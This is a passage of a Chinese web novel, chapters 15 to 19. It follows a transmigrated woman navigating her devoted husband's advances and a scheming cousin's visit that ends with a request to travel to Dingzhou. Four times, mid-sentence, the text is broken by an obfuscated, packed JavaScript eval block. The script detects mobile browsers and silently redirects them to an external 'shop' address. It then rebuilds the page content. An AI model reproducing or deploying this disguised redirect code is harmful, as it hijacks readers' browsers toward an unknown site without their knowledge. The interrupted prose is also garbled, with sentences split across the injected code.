;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734461|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到会得到这么严肃的答案,听得愣住了。 “想来是神明听到了我的誓言,所以往后,我如何想,就如何说、如何做。” 商琮琤微笑道:“虽然眼下妻主不记得了,但我还记得,之前妻主总说我连句好听的话都不愿意讲,以后,我日日讲给你听。” 他抬手轻轻将姜宜年耳边落下的一缕鬓发拢至耳后,眼神专注、温柔。 气氛突然转变,姜宜年起身,打了个哈欠,说自己突然困了,看来是到了午睡的时间,该去休息一下了。 转移话题转移得如此拙劣,姜宜年也有些心虚,走了两步回身望去,商琮琤还在原地没有其他动作。 微微低着头,不知道在想什么,只是看得出来,周身萦绕着的,全是落寞。 姜宜年刚换了衣服躺好,还真感觉到了睡意袭来,穿越到这儿来,生物钟倒是倒腾得不错,很健康。 她刚闭上眼睛,感觉到屋子里似乎突然多了个人。 睁眼一看,商琮琤正在床边褪去外衣,见姜宜年看着自己,他淡声道:“妻主困了,我也困了,刚好跟妻主一起午睡。” 这几天姜宜年观察过了,商琮琤应该没有午睡的习惯,他每天有太多事情要忙。 姜宜年现阶段还属于初步了解,插不上手,商琮琤要顾好外面的生意,还要管理整个姜家后宅。 另外几房的吃穿用度,都是他看着,哪个小孩儿有个什么头疼脑热,也是商琮琤带着大夫过去照看,几个活爹作妖他倒是遵守着姜宜年的要求不再管了,但孩子们不管不行。 还有姜宜年这头,她每天吃什么,穿什么,想干什么,商琮琤都坚持要自己一一经手才行。 用他的话来说,姜宜年的事才是他的头等大事,如果因为要忙其他事,而忽略了妻主的事,他怎么能算得上是个合格的正君呢。 偏商琮琤其他事也不想做得一般般,跟姜宜年有关的事他又执意要做到最好。 这样其实很难,非常费时间,不过他从来不诉苦。 姜宜年一直看在眼里。 可是这么拼命的商琮琤,突然说要午睡?还要……跟她一起? 怕不是因为困了,就是因为能“一起”吧? 姜宜年瞬间没那么疲惫了,瞪大眼睛看着他躺在自己身边。 商琮琤躺下,长舒了一口气,转头看向姜宜年,“妻主要喝安神汤吗?我提前备好的。” 姜宜年摇头,把脑袋放正,闭上了眼睛。 但不像前几日一样没一会儿就睡着了,她一直没睡着,场景重现似的,身边的人轻轻抱住她,似乎察觉到了她没睡着。 “妻主是不是厌弃我了?” 姜宜年听到商琮琤在耳边这样问自己。 她轻叹一声,“我只是什么都不记得了。” 腰上的温度不容小觑,像贴着块烙铁似的,进不得进,退不知道能退去哪儿。 “可我看妻主像是一直在躲着我。” 商琮琤说:“妻主从前,很喜欢我的。” 16. 第16章 总是这样,也不是办法。 姜宜年刚想组织一些能让他们两个疏离一些,又不至于让商琮琤伤心的语言,突然听到他说—— “其实妻主不记得我了也没什么要紧的,我听别人说,妻夫俩之间只要有了孩子,关系就能立刻产生变化。” 姜宜年陡然间像是被谁突然打了一闷棍一样,瞬间眼冒金星,感觉整个世界天旋地转。 她突然想到了莫邈说过的话—— “我只是听说,商氏这一年中,换了姜家生意中的许多经手人,我担心你,现在你这种情况,如果真的让他生了个女儿,岂不是随他拿捏。而且,当初他那位意中人若是突然回来,两人再续前缘,带着你的女儿……我都不敢想。” …… 姜宜年深呼吸了一下,商琮琤凑了过来,似乎认为此刻的氛围正好。 他温柔询问:“妻主现在喜欢女儿还是儿子?以前妻主说都喜欢,没有偏爱,不过我现在想通了,我一定要给妻主生个女儿出来……”他顿了顿,道:“或许母亲才是对的,一个女儿还是太容易担惊受怕了,我可以……为了妻主多生几个,我……” 姜宜年实在忍不住了,没等他说完,突然撤身往里,商琮琤臂弯一空,姜宜年已经坐了起来。 “妻主?”他一脸茫然。 姜宜年原本想直接摊牌,问商琮琤这么急着给自己生孩子是不是因为被莫邈说中了,真的怀揣着那样的心思,有着那样的打算。 她还想跟商琮琤说,如果真的是那样,其实不必藏着掖着,他们大可以好好谈谈价钱,这件事能够和平解决。 但理智回归,姜宜年意识到这种话根本不能说。 先不说商琮琤信不信……如果人家真的只是想修补妻夫感情呢?毕竟商琮琤看起来……真的不像是那样的人。 如果他真的能狠得下心来做出那样的事,这一年的时间里,都没有直接下手干掉原主,是因为还有其他考量吗? 要知道原主已经躺了这么久,多少人都觉得她没救了,就算悄无声息死去,也不会有人怪在商琮琤头上。 如果说是为了留下一个名正言顺的孩子,还是那句话,没人可以证明商琮琤的孩子不是姓姜的,他怎么为自己辩解都可以,只要明面上过得去就行。 何况商琮琤又不知道自己的妻主到底还能不能醒过来,具体什么时候能醒过来。 左右互搏似的,想不通的点很多。 姜宜年看到商琮琤的表情,更不敢开口了。 “原以为……” 姜宜年下意识问他:“原以为什么?” 商琮琤的眼神非常难过,“原以为妻主先前钟情于我,重来一次,哪怕不记得我了,重新喜欢上我也只是时间问题,现在看来,妻主是真的不喜欢我了。” 姜宜年心虚地咬了下嘴唇,模板一样的回答扔了出去—— “我什么都不记得了。” “也好。”商琮琤冷笑一声,翻身下床,“既然妻主跟我同处一室这么不自在,今夜我就搬去其他房间睡。” 姜宜年微微瞪大眼睛,这是她第一夜就想提出来的,可惜没找到合适的时机说。 而且那时候,商琮琤明确表示知道妻夫房中事应该暂缓,姜宜年就觉得哪怕谁在同一张床上也没什么。 说起这个,商琮琤怎么突然又着急起来了呢? 姜宜年也跟着跳下床,连忙开口:“不用不用。” 她只说了四个字,外衣都没穿好的商琮琤就朝她望了过来。 姜宜年说:“要搬去别的房间,也该是我去,你一直都很辛苦,放心,我不认床,我有张床就能睡着!” 她看起来还挺高兴,商琮琤心里的火气猛地窜了上来。 姜宜年似乎没有觉察到,叫来柯玉,问她还有没有别的合适的能当卧房的房间。 柯玉大惊失色,望向跟在姜宜年身后晚一步出来的商琮琤,“娘子和郎君……” “我刚醒来,总是做噩梦,怕吓着郎君,搬间屋子缓一缓。” “这……”柯玉还是去看商琮琤的脸色。 商琮琤的表情很不好看,“妻主跟你说笑呢,下去吧。” 柯玉如临大赦,“哎”了一声,忙不迭地跑了。 姜宜年回头,看到商琮琤的表情,才知道他真的很生气。 其实先前她感觉到了一点点,不过想想看商琮琤平时总是一副温温柔柔的样子,就像他说的,外面人都以为姜宜年醒过来之后,对商琮琤是无底线的好,无底线的包容,但实际上,他们两个人的位置是换过来的。 姜宜年还以为哪怕商琮琤只是心里有些不舒服,也根本算不上是多大的事儿。 现在看来,这件事不一定。 商琮琤真的很生气。 “妻主,还是进房说话吧。” 商琮琤手一背,哪怕还是叫她妻主,跟先前表现出来的也完全是两模两样了。 姜宜年跟着他重新回到房间,深呼吸了一下才坐下。 商琮琤看着她这个惊疑不定的样子,知道自己吓到她了,心下一阵懊恼,不过他也是气急了,才毫无遮掩地表现出了这样的一面。 姜宜年惊疑不定是应该的,哪怕是一年前,她也没见过商琮琤这个样子。 更何况现在…… 今日不同往日。 姜宜年如今已经不喜欢他了。 连他这个人是谁都不记得…… 商琮琤不敢细想如今姜宜年是怎么看待他的,亦不敢问。 “妻主……” 商琮琤恢复了之前他那一贯温柔的语调,无奈开口:“我方才说搬去别的房间,那是气话,你怎的当真了?” 姜宜年怔了怔,微微皱眉。 这怎么搞? 商琮琤说的是气话,她知道啊,但是就因为这么一句难得的气话,她才能顺杆下,达成自己的目的。 没想到,就差那么一点点,她连搬房间的借口都想好了,却被商琮琤一句话就给重新拉了回来。 完全没有回头的余地。 “我……我是真的觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734462|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得我们其实应该分房……” “是因为孩子的事情吗?” 商琮琤打断她,轻声开口道:“那事是我想少了,眼下妻主连我是谁都不记得,自然不会愿意跟我生孩子,不过妻主应该可以体谅我的吧?我嫁进姜家已经有一年半的时间了,是有些着急了。而且……母亲和父亲的前车之鉴就在眼前,我也觉得若是跟妻主有个女儿,也能安心些,因而忘了妻主跟别的女人都不一样。妻主原本就说过生孩子是件大事,不是说生就能生的,要反复思量,才能决定,现在确实不是个好时机。” 姜宜年眨了下眼,没想到原主居然是这样明事理的人,她还以为古代人大多数都只当生孩子是繁衍生息的自然规律,不会想太多呢。 “妻主原谅我吧,好不好?” 姜宜年呆了呆,轻声开口:“我原本就没有生你的气……” “那就好。”商琮琤笑笑,想到什么,又叹了口气,说:“妻主原先跟我是很亲近的,我多想回到那个时候……当时是我没有好好珍惜……” 姜宜年:“……” 她想说的话都不能说出口,有点难受。 她想说,商琮琤何止是回不到那个想回去的时候了,连他珍视的那个人,他都再也见不到了。 当然,前提是,如果商琮琤现在所珍视之人,不是那个意中人白月光,而是原主的话。 最终也没能睡成午觉,商琮琤像是知道自己说错了话,做错了事,努力在姜宜年面前表现自己。 原本不赞成她出府视察工作,突然就转变了态度,说要帮她安排第二天出府的行程。 能出门逛逛,姜宜年自然挺高兴,但商琮琤也有条件,说无论如何都必须由他陪着。 姜宜年问他:“你出门方便吗?” 她还以为这里的男人都不便出门呢。 商琮琤点头,多说了几句,姜宜年才了解到,未出阁的男子独自出门自然不妥,一般都由姐妹或是母亲陪在身边,换句话说是被与其有血缘关系的亲属带在身边,才算合规。 已为人夫的男子要是出门,自然要被妻主带着,所以商琮琤可以出门,只要跟姜宜年一起,就没什么问题。 姜宜年之前觉得商琮琤是她最合格的帮手,当然现在这个想法也几乎没有改变。 只不过……她觉得如果能自己出门逛逛,她会更高兴。 这个时候,商琮琤跟在身边,有一点桎梏的意思了。 换个角度,姜宜年想到,说不定商琮琤也在这大宅子里呆腻了呢,就当带他一起出门散散心。 姜宜年点头同意,商琮琤看起来一瞬间变得心情愉悦,说自己立刻去准备明日出门的相关事宜。 看了一会儿账本,姜宜年就觉得困了,中午被那么一搅和没能睡午觉,突然困意袭来,怎么挡都挡不住。 姜宜年直接趴在桌子上沉沉入睡,梦到了柯锦说到的,“她”跟商琮琤初遇时的那场诗会。 商琮琤鹤立鸡群,宛如一朵高岭之花。 姜宜年莫名其妙就心动了。 17. 第17章 听到好像有人在叫自己,姜宜年悠悠转醒,揉了揉眼睛看到商琮琤站在一边,正在絮叨些什么。 “……怎么就趴在这里睡着了?要是着凉了可怎么办?妻主若是困了就回卧房啊……” 声音越来越近,姜宜年被彻底拉回现实。 她打了个哈欠,说:“没事,本来没想睡的。” 商琮琤满面担忧,姜宜年对他笑笑,又说了一句:“没事的。” 当天夜里,商琮琤主动跟姜宜年说起他们第二天的出行计划。 姜宜年总是听人说她是姜家的独苗,听得多了,越来越感觉到肩上的责任之重。 而且,她确实想多为商琮琤分担一些,如果自己争气,商琮琤就可以尽心打理后宅了。 到时候,姜宜年主外,商琮琤主内,那样别人对他的指指点点会少一些,商琮琤嘴上不说,心里其实挺介意的,姜宜年知道这个。 故而她此番出行,排在前面的任务就是去巡视商铺,见见那些掌柜,安安他们的心。 姜宜年醒过来的消息传出去之后,想要上门拜会探望她的人不少。 多数都是母辈的交情和还在合作的关系,姜宜年以不方便作为理由,一个没见。 不过后续还有不少礼物送进宅子里,据姜宜年所知,还有一些人试图从其他三房入手,打探消息。 与其这么多弯弯绕绕,姜宜年觉得自己倒不如坦坦荡荡出现在他们面前。 醒了那么久,现在也是时候了。 “逛完这几家,回完礼之后,我让柯锦在福味楼提前打了招呼,我们好好吃顿饭,我让柯锦带过去的菜单,全是妻主喜欢的菜色。” “你有心了。” 姜宜年这么回应着,心里却想着,自己的口味似乎跟原主相近,但未必原主喜欢的她都喜欢。 她不吃的东西还挺多的其实。不过这一点就没有必要让商琮琤知道了。 “入夜前,我们还来得及去听一场灵喜班子的戏,他们到嵘城两个月了,听说场场爆满,可惜妻主跟我还没听过呢。” “听戏?”姜宜年有些迟疑,她可听不懂戏。 “嗯。”但商琮琤似乎对此跃跃欲试,“听说他们以前还在宫里给皇上和凤君唱过,名头不小。” 姜宜年看出了商琮琤的兴趣所在,心想就当陪他做他喜欢的事情好了,“嗯”了一声,说:“你安排得真好。” 商琮琤微微一笑,“妻主喜欢就好。” 他说,“那明日,我们用过早膳就出门?” 姜宜年点头,“好。” 可惜最终未能成行。 翌日一早,两人刚用完早膳,院外有人来禀,说是有鼎州的亲戚来了,要见家主。 姜宜年将疑惑的目光投向商琮琤,商琮琤微微一愣过后,让把人带去正厅等着。 安排好之后才为姜宜年答疑解惑。 “鼎州的亲戚,是姜氏旁支,是发展的比较好的一脉。” 商琮琤说姜宜年可能要重新换一身衣服,自己也得换。 姜宜年晨起的这一身也是商琮琤提前给她搭好的,方便出门穿的,如今见亲戚就不太合适了,就像急着把人往外赶似的。 “发展的比较好的一脉?你知道来的人是谁吗?”姜宜年低头对齐衣襟,随口问道。 “应该是如今鼎州姜氏的家主,叫……姜叶的?”商琮琤说:“记不太清了,不过,应该是她,她的祖母跟你我的祖母年轻时关系最好,她跟妻主的情形相似,所有平辈的孩子里,只有她一个争气的,费力不讨好地拉着一大家子人向前走。” 商琮琤一边说,一边低眉顺眼地帮姜宜年系腰带,姜宜年看他贴得这么近,忍住了往后退的想法,问他:“她也没有姐妹?” “那倒不是,她有几个姐妹,不过个个不思进取,跟没有差不多。” “可你怎么知道来的是她?” “妻主还昏迷着的时候,属她来信最勤快,一开始……她还帮了我不少,跟我说了许多经商之道,不过后来……” 商琮琤的话没说完,抬头跟姜宜年说:“好了。” 姜宜年追问:“后来?后来怎么了?” “后来我发现,她表面上像是个顶顶好的心善之人想要帮我,实际上,盯着的似乎也是姜家的一切,便不再与她来往了。如今鼎州姜氏是她说了算,费尽周章来嵘城一趟,找别人代替,不像是她的行事风格,除了自己亲自到场,其他人来,都是她白忙一场。” “你是说,她也想夺财?” 姜宜年不理解,她不知道鼎州在哪儿,距离她所在的嵘城具体有多远,不过想想看现在又没有火车,有没有飞机,来一趟多费劲儿啊,这么难打的算盘,她图什么啊? “可能只是我想多了,不过妻主知道这一点,多一个心眼总是没错的。” “我还是不明白,你不是说她那一支发展的挺好的吗?难道消息有误?或者说鼎州的事情还是太少了?她居然有这种想法?” 商琮琤轻叹一声,“母亲还在世时,一直想给妻主多添个姐妹,便是有这种考虑,她不想眼看着妻主无人帮衬,自己这一脉家衰凋零。” 姜宜年毕竟不是古代人,原本听商琮琤介绍原主的家庭背景,对“姜氏本家”还没有什么概念,这个姜叶一来,她倒是多多少少有了一点儿属于自己的感悟。 何必呢…… 旁支或是本家,就这么重要吗?不都是同姓的亲戚?哪怕相隔两地,打断骨头连着筋,真出了什么大事,不都还是要彼此帮衬的吗? 就算姜宜年没有亲姐妹,来的这位,不就算是她的姐妹吗?虽然她还没搞清楚怎么论,但再怎么说也是亲戚,怎么论都不是陌生人。 没想到她以为人家是担心她来谈亲的,人家只是来谈生意的。 商琮琤说:“这一切都是我的猜想,毫无根据,妻主不要被我带偏了,我说这些,只不过想让妻主有个心理准备,对方到底有什么样的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734463|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,要见到了才知道。” “我明白。”姜宜年轻轻点头。 两人整理好了,并肩出门,一起去到正厅会客。 跟商琮琤猜想的一样,为首的人是叫姜叶,如今鼎州姜氏的家主,她还带着三个人,两个练家子,一个看着文质彬彬,不知道是做什么的。 姜宜年跟商琮琤对视一眼,一起走上前,姜叶迎了上来,“阿姐真的醒了!我这一路上紧赶慢赶,还以为是谣言,原来阿姐真的醒了,我终于可以放心了。” 姜叶自来熟地拉着姜宜年的手,姜宜年眨了眨眼,不动声色把手抽了回来,“不好意思,我……我什么都不记得了,听说是鼎州来的亲戚,我跟妹妹先前见过?” “小时候见过。”姜叶叹气,“原来外面传的居然都是真的。” 她看了一眼姜宜年身边的商琮琤,道:“这位就是姐夫吧?之前你我通了那么多封信,还不曾见过,阿姐如今能安然无恙醒过来,一定全是姐夫的功劳,都是姐夫照顾得当。” 吉枣和柯玉听得冒汗,但见姜宜年表情没什么变化,才逐渐放下心来。 商琮琤的心也沉了沉,还好提前跟姜宜年说了跟姜叶写信的事,否则不知道姜宜年听到这句话,会怎么想他。 “啊,是我失言了,阿姐不要多想,我与姐夫通信,是因为阿姐昏迷不醒。家主病重,家事无人料理,所以我就想着帮帮姐夫,绝对没有别的意思。” “娘子言重了。”姜宜年生分地拉开二人之间的距离,淡声道:“郎君和娘子通信的事,他一早就告诉我了,我还没来得及跟娘子道声谢,当日多亏有娘子关照,我今日能醒过来,也有娘子的功劳。” “阿姐……” “你我只是小时候见过吗?”姜宜年笑了笑,“娘子真是有情有义之人,只是小时候见过,得知我醒了的消息,就这么放下一切过来看我,我都不知道该说什么好了。” “是小时候见过,阿姐现在肯定不记得了,就算阿姐没有失忆,也未必会记得我。那时候阿姐跟着母父出门远游,到了鼎州,在我家住过两晚,我那时候年纪很小。” 两个练家子是一路保护姜叶的随从,文质彬彬的那个则是姜叶的朋友,叫闻芮。 齐聚一堂时,姜叶把身边人都介绍了一遍。 “二位关系真好,从鼎州一路过来,有朋友相伴,想来都不孤单了。” “阿姐说的是。” 姜宜年品了口茶,座下无人说话,她故意等了一会儿才开口:“不过远道而来,娘子就是为了来看看我是不是真的醒了吗?” “这……” 姜叶似乎有难言之隐,意有所指看向四周。 姜宜年了然,看了商琮琤一眼,商琮琤起身,说带其他几位客人在院子里逛逛,让下人们也都出去了。 直到剩下姜宜年和姜叶两个人共处一室,姜叶叹了口气,才道明来意—— “是祖母不放心,非要让我过来亲眼看看阿姐。” 18. 第18章 “亲眼看看?” 姜宜年笑了一声,“难不成老人家觉得我醒了这个消息,是假的不成?” “那怎么说得清楚,毕竟我们远在鼎州。” 姜叶开口道:“而且,明明阿姐刚刚昏迷的时候,我跟姐夫之间还一直保持着通信,后面突然就断了联系。” 她顿了顿,似乎在斟酌着要不要讲。 ……还是讲了。 “祖母说,男人最是靠不住,更何况是长得好看的、有能力的男人。听说阿姐娶的就是这样的男人,她实在不放心。原本阿姐在昏迷中,我们就一直提心吊胆的,突然听说阿姐醒了……你一个人在嵘城,身边夫郎又这么有能力,连个可以帮忙的姐妹都没有,祖母让我过来看看,亲眼瞧瞧到底是不是那么回事。” 姜宜年笑了,问她:“如果不是这么一回事,那会是怎么一回事呢?” 她很好奇,问姜叶:“你想象中会看到什么?” 姜叶迟疑了一下,小声开口说道:“我以为姐夫会闭门不见客,以为他会找个女人冒名顶替,吞了姜家的财产……” 姜宜年笑容渐渐消失,姜叶打了个哈哈。 “不过那都是我瞎想的,现在我知道了,姐夫不是那种人,阿姐也好好的,真是皆大欢喜的结局。” 姜宜年没说话,气氛不太好,姜叶沉默了一会儿,开口问道:“不过阿姐真的什么都不记得了吗?” “……”姜宜年转头看向她。 姜叶问:“除了姐夫,阿姐谁都不记得了吗?” “嗯。”姜宜年微微颔首,表示肯定。 姜叶似乎大受震撼,“阿姐对姐夫,真是痴情啊。”她说:“还好姐夫也是有情人,值得信任,否则整个姜家的命运,都很难说了。” 说实话,姜宜年听这些车轱辘话有点儿听烦了。 她知道自己应该要习惯这些,但每每想到他们有多么“庆幸”姜宜年醒过来了,实际上醒过来的不是原主,而是她这个来自现代的孤魂野鬼,心里就不太舒服。 自己不是众望所归,商琮琤喜欢的也不是自己,所有人以为的happyending其实已经宣告是BE了,她就觉得……有苦说不出。 原主是整个姜家的顶梁柱,是商琮琤的精神倚仗,是嵘城姜氏的定海神针,她是姜宜年,却不是原主,原主在她醒过来的时候就没了,或许更早也说不定。 她别无他法,只能尽力扮演好这个角色。 如果商琮琤真的有个意中人,而非对原主一往情深就好了。 姜宜年还是这样想,到时候可以放他们一马,成其好事,再给些钱,甚至养他们一家子一辈子也没关系。 就当是让她自己心里过得去一点儿。 “阿姐有没有后怕过呢?” 姜宜年看向姜叶,“什么意思?” “难道阿姐没有担心过自己所托非良人吗?”姜叶说:“我听说,阿姐在昏迷之前,让姐夫守好整个姜家,阿姐就那么信任他?醒过来之后也没有后怕担心过吗?毕竟是男人,他们连自己都照顾不好,阿姐怎么会这么坚定地认为姐夫跟其他男人不一样呢?” “如今你见到他本人了,还是认为他跟其他男人一样吗?” “我不知道。” 姜叶顿了顿,说:“瞧着确实比其他男人更好看些,不过祖母说了,这样的男人更危险。”她说:“阿姐这一招是险棋,太险了。” 姜宜年心说,原主的险棋险不险另说,我看你姜叶这个人是太闲了。 怎么回事这倒底…… 怎么醒过来除了院子里的这几个人,见到的其他人都像是想瓦解他们妻夫关系似的,不停地给她灌输商琮琤这个人不可信的信息,费尽力气想让她怀疑他。 为什么? 姜宜年突然醒悟过来。 不会是……嫉妒这个男人的能力比她们强吧? 莫邈那边的情况尚不明朗,不过姜叶这头……很难说不是以为这个。 “你们打算留几日?”姜宜年直接转移话题,“怕是不能长留吧?我听郎君说,你在鼎州做事得力,那边能离开这么久吗?” 姜叶面上闪过尴尬,“确实不能长留,回去时路上还要快马加鞭呢。” 她话锋一转,“不过来这一趟,再怎么不容易都是值得的,阿姐醒了,姐夫人品也好,真是不错。” 姜宜年淡然笑笑,没搭茬。 其实姜叶为什么来这一趟,聊这么半天,姜宜年好像已经搞懂了。 姜叶亲自过来,如果商琮琤是坏人,像她所说的那样做了坏事,那么很容易被拆穿,姜叶成了铲除大奸大恶之人为姐姐报仇的大好人,收割姜氏本家的一切理所当然。 如果商琮琤是好人,姜宜年也确实醒了,但躺了那么久,能醒过来不意味着就能像普通人一样做其他事。 再加上姜宜年听说的原主小时候的事情,如果“她”回到了那个状态,商琮琤彻底没了念想,妻主亦非良人,他不可能继续把姜家握在自己手里,姜叶拿走掌权,理所当然。 现在的情况,是对姜叶来说最糟糕的情况。 商琮琤是个好人,姜宜年也确实醒了,头脑清晰,行为正常,跟普通人无异。 她明明昏迷了一年,醒过来就像是睡了一觉一样,连个头疼脑热都没有。 姜叶只能把自己算作是有情有义的好姐妹,来看看姐姐,就放心地回家去了。 可、能、吗? “妻主的意思是,她还有别的打算?” “呼朋唤友带着打手过来,遇到了对她来说最棘手的情况,姜叶会甘心就这么离开吗?” 姜宜年说不好,心里不太安稳。 “按你说的,姜叶在鼎州做生意做得风生水起,必然不是普通人,遇到难题就撤退?我觉得她还有后招。” 姜宜年想了想,道:“明天让柯锦也给我找两个练家子过来,今天跟着姜叶的那两个柯玉见过,让柯玉跟她姐说,要找两个比那个还能打的。” 商琮琤笑出了声,“我跟妻主想到一起去了,下午已经让柯锦去办了,原本想从看家护院的能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734464|189017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人里挑两个,不过我看着跟着姜叶的那两个……咱们府里的人,肯定比不过。” 姜宜年听他这么说,愣了一下。 除了某些事,其实她觉得商琮琤跟自己还是挺同频的。 “妻主觉得,我们会跟姜叶起冲突?”商琮琤凑近了问她。 姜宜年反问:“你不也想到了雇佣打手,说说看,你是怎么想的?” “我倒没觉得一定会打起来,不过……”商琮琤笑笑,“我担心妻主受伤,凡事都要做好最坏的打算,只能提前安排好应对的一切,这样才能放心,已经成为习惯了。” 姜宜年安静地看着他。 商琮琤似乎被她那双美目所吸引,一开始盯着不舍得移开目光,后来一点点靠近,两人的嘴唇险些贴在一起。 最后关头,还是姜宜年恢复了理智,及时别过了脸,商琮琤温热的吻就那样轻轻落在她的脸颊之上。 “妻主……” 商琮琤虽然被婉拒,但似乎热情未减,嗓音带了点儿黏糊,撒娇似的。 姜宜年整个人突然像是被一阵羞愧笼罩起来,那两个字,一个暧昧的称呼,像利剑一样扎在她心里。 “我……” 商琮琤目光热切地看着她。 “……还没准备好。” 姜宜年看着商琮琤的脸,一点点褪去血色,心里愈发内疚起来。 她想,如果他知道自己主动求欢的对象是谁,说不定会感谢她呢。 商琮琤顶着苍白的面孔起身,点头说:“我知道了。”走了两步,又回过身来,跟姜宜年道歉:“是我唐突了,妻主莫怪。” 姜宜年不知道说什么好,只好轻轻点头,看着商琮琤落寞离开的背影。 第二天一早,姜叶就收到了一封信,是从鼎州快马加鞭送过来的。 姜宜年下意识去看商琮琤,不过商琮琤似乎还陷落在昨晚的失意之中,没有看她。 那种感觉就像是,天塌下来了也无所谓,跟他无关。 姜宜年有些懊恼。 如果自己的道德感不是那么强的话,其实也没什么,毕竟他们现在才是名正言顺的妻夫。 那个秘密,只要她不说,这辈子不会有其他人知道。 但她就是道德感太高了,怎么都下不去手,只要想到原主,想到听说过的那些事情,就会觉得自己像个小偷。 除了羞愧,就是内疚。 回过头想想,重新回到昨天晚上,还有更好的解决办法吗? 或许有,但她想不到。 姜宜年闭了闭眼睛,重新把所有注意力放在姜叶身上,她已经把信看完了,表情有些奇怪。 “怎么了?”姜宜年问姜叶:“是老人家写信催你回去吗?” “不,不是祖母……” 姜叶表情很难看,看向姜宜年颤抖着声音开口:“是我妹妹写的信,她说……祖母病重,恐怕要不行了,让我尽快回去。” 姜宜年微微瞪大双眼,“这……这事耽误不得,我让人给你套车,用最快的马。” 19. 第19章 “阿姐!” 姜叶叫住了她,姜宜年看着她的表情,心中顿感不妙。 “阿姐,请你跟我一道回去吧。” 姜宜年:“……” “不可。”商琮琤终于加入谈话,神情严肃,“妻主刚醒过来,身体状况尚不明朗,不宜出远门。” 姜叶看了他一眼,再看向姜宜年就眼圈红红的。 “求求阿姐了,我出门前祖母就一直念着你,她惋惜自己年纪大了,说不知道今生能不能再见你一次,我一直劝她有机会的,说等阿姐好了就会去看她老人家,可我没想到……没想到这个时候来得这么快。” 最后一面。 姜宜年想过很多种可能性,没想到对方会出这一招。 而且她其实不是很明确这到底是对方的计谋还是……真的是这样。 “娘子说的在理,但妻主眼下确实不能出远门,更何况路上为了赶时间,必定会快马加鞭一路疾行,妻主的身体受不了的。” “姐夫说的是。”姜叶抽泣两下,语气虽然还算温和,但眼神分明没带着半点敬意,“可是祖母一直放下不下阿姐,往后就算阿姐养好了身体,恐怕也再见不到她老人家了,这是最后的机会,姐夫放心,我一路上会用心好好照顾阿姐的,我可以同你起誓。” 姜宜年依然没说话,她看了商琮琤一眼,刚好看到他小幅度对自己摇头。 姜叶也看到了,“阿姐。” 她刻意叫了一声,想要吸引姜宜年的所有注意力,“求你了,跟我一起回去吧,祖母没有多少时间了!” 姜宜年心里为难,这种要求其实不算过分,而且自己的身体情况她也很清楚,目前看来出个门没什么。 不过……为难的点主要是不知道对方打的是什么算盘。 总不会在路上制造一场什么意外,让她命丧途中吧? 说起来……是不是不完全没有这种可能? “妻主。”商琮琤担心她直接答应,急切地往前走了一步。 姜宜年的大脑飞快运行着。 她什么都不知道,得到的所有信息都是从别人那里听说的,目前看来,原主的祖母跟姜叶的祖母关系很好,这一点是毋庸置疑的。 那么这位老人家听说她躺了一年,终于醒了过来,担心忧心焦心应该也是正常的,想见她一面,也是合理的。 如果因为疑心放弃这次见面的机会,是不是不应该? 姜宜年眨了下眼,终于开口,但没有对姜叶或是商琮琤说话,而是吩咐人去套车准备路上会用到的东西。 商琮琤和姜叶目不转睛地看着她。 “这件事太突然了,所有人都没有做好准备,不如你先去整理自己的行囊,关照仆从们,至于我当如何,等我跟你姐夫聊过之后再予你答复。” “好。”姜叶没再纠缠,这让这件事的真实程度又上去了一点点。 只剩下商琮琤待在自己身边时,姜宜年刚想开口,却被对方抢了先。 “我知妻主在想什么,若是妻主决定要跟她一起走,可以,我去收拾我们的行李。” 说罢便要起身离开去忙,姜宜年伸手拉了他一下,“我们?” 商琮琤回头,眼睫轻颤。 “难不成妻主觉得我会让你一个人跟他们走?先不说她说的话几分真几分假,就算全是真的,我断不会让妻主一个人以身犯险,若是你在路上出什么事该怎么办?” “昨日不是让柯锦帮我找人了吗?按她的办事效率现在肯定已经找到了合适的人,我想过了,就带着她们一起走,就算姜叶路上有什么行动……” 